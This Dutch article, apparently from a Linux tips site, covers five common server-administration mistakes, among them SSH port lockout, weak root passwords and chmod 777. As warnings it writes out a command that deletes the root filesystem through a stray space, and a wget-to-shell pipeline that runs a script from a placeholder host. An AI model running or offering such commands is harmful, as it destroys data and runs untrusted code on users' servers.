Linux-opdrachten

Vijf fouten in Linux-serverbeheer en hoe u ze kunt vermijden

Vijf fouten in Linux-serverbeheer en hoe u ze kunt vermijden
In 2017 werd een medewerker van GitLab, het hostingplatform voor versiebeheer, gevraagd om een ​​database met productiegegevens te repliceren. Vanwege een configuratiefout werkte de replicatie niet zoals verwacht, dus de medewerker besloot de overgedragen gegevens te verwijderen en het opnieuw te proberen. Hij voerde een opdracht uit om de ongewenste gegevens te verwijderen, maar realiseerde zich met toenemende afschuw dat hij de opdracht had ingevoerd in een SSH-sessie die was verbonden met een productieserver, waarbij honderden gigabytes aan gebruikersgegevens werden verwijderd. Elke doorgewinterde systeembeheerder kan u een soortgelijk verhaal vertellen.

De Linux-opdrachtregel geeft serverbeheerders controle over hun servers en de gegevens die erop zijn opgeslagen, maar het weerhoudt hen er weinig van om destructieve opdrachten uit te voeren met gevolgen die niet ongedaan kunnen worden gemaakt. Per ongeluk verwijderen van gegevens is slechts één soort fout die nieuwe serverbeheerders maken.

De sleutels binnen vergrendelen

Serverbeheerders maken verbinding met servers met SSH, een service die meestal op poort 22 wordt uitgevoerd en een inlogshell biedt waarmee geverifieerde gebruikers opdrachten kunnen uitvoeren op externe servers. Een standaard beveiligingsstap is het configureren van SSH om verbindingen op een andere poort te accepteren. Het verplaatsen van SSH naar een willekeurige poort met een hoog nummer beperkt de impact van brute-force-aanvallen; hackers kunnen geen kwaadwillende logins proberen wanneer ze de poort waarop SSH luistert niet kunnen vinden.

Een beheerder die SSH configureert om op een andere poort te luisteren en vervolgens de SSH-server opnieuw opstart, kan ontdekken dat niet alleen hackers worden buitengesloten. Als de firewall van de server niet ook opnieuw is geconfigureerd om verbindingen op de nieuwe poort toe te staan, zullen pogingen om verbinding te maken nooit de SSH-server bereiken. De beheerder wordt buitengesloten van zijn server zonder enige manier om het probleem op te lossen, behalve door een ondersteuningsticket te openen bij zijn hostingprovider. Als u de SSH-poort wijzigt, zorg er dan voor dat u de nieuwe poort opent in de firewallconfiguratie van uw server.

Een gemakkelijk te raden wachtwoord kiezen

Brute-force-aanvallen zijn een raadspel. De aanvaller probeert veel gebruikersnamen en wachtwoorden totdat ze een combinatie vinden waarmee ze binnen kunnen. Een woordenboekaanval is een meer verfijnde aanpak waarbij gebruik wordt gemaakt van lijsten met wachtwoorden, vaak verzameld uit gelekte wachtwoorddatabases. Aanvallen tegen het root-account zijn gemakkelijker dan tegen andere accounts omdat de aanvaller de gebruikersnaam al kent. Als een root-account een eenvoudig wachtwoord heeft, kan het in een mum van tijd worden gehackt.

Er zijn drie manieren om je te verdedigen tegen zowel brute-force- als woordenboekaanvallen tegen het root-account.

Opdrachten kopiëren die u niet begrijpt

Stack Exchange, Server Fault en vergelijkbare sites zijn een reddingslijn voor nieuwe Linux-systeembeheerders, maar u moet de verleiding weerstaan ​​om een ​​shell-opdracht te kopiëren en te plakken die u niet begrijpt. Wat is het verschil tussen deze twee commando's??

sudo rm -rf --no-preserve-root /mnt/mydrive/
sudo rm -rf --no-preserve-root /mnt/mydrive /

Het is gemakkelijk te zien wanneer ze samen worden weergegeven, maar niet zo gemakkelijk wanneer u door forums zoekt op zoek naar een opdracht om de inhoud van een gekoppeld volume te verwijderen. De eerste opdracht verwijdert alle bestanden op de aangekoppelde schijf. De tweede opdracht verwijdert die bestanden en alles op het rootbestandssysteem van de server. Het enige verschil is de spatie voor de laatste schuine streep.

Serverbeheerders kunnen lange opdrachten tegenkomen met pijplijnen waarvan wordt gezegd dat ze het ene doen, maar totaal iets anders. Wees vooral voorzichtig met opdrachten die code van internet downloaden.

wget http://voorbeeld.com/verybadscript -O - | sh -

Deze opdracht gebruikt wget om een ​​script te downloaden dat naar de shell wordt doorgesluisd en wordt uitgevoerd. Om dit veilig uit te voeren, moet u begrijpen wat de opdracht doet en ook wat het gedownloade script doet, inclusief alle code die het gedownloade script zelf kan downloaden.

Inloggen als root

Terwijl gewone gebruikers alleen bestanden in hun thuismap kunnen wijzigen, is er weinig dat de rootgebruiker niet kan doen op een Linux-server. Het kan elke software uitvoeren, alle gegevens lezen en elk bestand verwijderen.

Toepassingen die door de rootgebruiker worden uitgevoerd, hebben dezelfde kracht. Het is handig om ingelogd te zijn als rootgebruiker omdat je niet altijd "sudo" of "su" hoeft te doen, maar het is gevaarlijk. Een typefout kan uw server binnen enkele seconden vernietigen. Buggysoftware van de rootgebruiker kan een catastrofe veroorzaken. Voor dagelijkse operaties, log in als een gewone gebruiker en verhoog alleen root-rechten als dat nodig is.

Bestandssysteemmachtigingen niet leren

Bestandssysteemmachtigingen kunnen verwarrend en frustrerend zijn voor nieuwe Linux-gebruikers. Een machtigingsreeks zoals "drwxr-xr-x" ziet er in eerste instantie zinloos uit, en machtigingen kunnen u ervan weerhouden bestanden aan te passen en te voorkomen dat software doet wat u wilt dat het doet.

Systeembeheerders leren snel dat chmod 777 een magische bezwering is die de meeste van deze problemen oplost, maar het is een vreselijk idee. Hiermee kan iedereen met een account het bestand lezen, schrijven en uitvoeren. Als je die opdracht uitvoert in de directory van een webserver, vraag je om gehackt te worden. Linux-bestandsrechten zien er ingewikkeld uit, maar als u een paar minuten de tijd neemt om te leren hoe ze werken, zult u een logisch en flexibel systeem ontdekken voor het beheren van de bestandstoegang.

In een tijdperk waarin eenvoudige gebruikerservaringen belangrijker zijn dan alle andere factoren, blijft de Linux-opdrachtregel resoluut complex en bestand tegen vereenvoudiging. Je kunt niet doormodderen en hopen dat het allemaal goed komt. Het komt niet goed en je krijgt een ramp in je handen.

Maar als u de basis leert - bestandsrechten, opdrachtregelprogramma's en hun opties, best practices op het gebied van beveiliging - kunt u een meester worden van een van de krachtigste computerplatforms die ooit zijn gemaakt.

Beste gamepad-toewijzingsapps voor Linux
Als je graag games op Linux speelt met een gamepad in plaats van een typisch toetsenbord- en muisinvoersysteem, zijn er enkele handige apps voor jou. ...
Handige hulpmiddelen voor Linux-gamers
Als je graag games op Linux speelt, is de kans groot dat je apps en hulpprogramma's zoals Wine, Lutris en OBS Studio hebt gebruikt om de game-ervaring...
HD Remastered Games voor Linux die nog nooit eerder een Linux-release hebben gehad
Veel game-ontwikkelaars en uitgevers komen met HD-remaster van oude games om de levensduur van franchise te verlengen, fans die compatibiliteit met mo...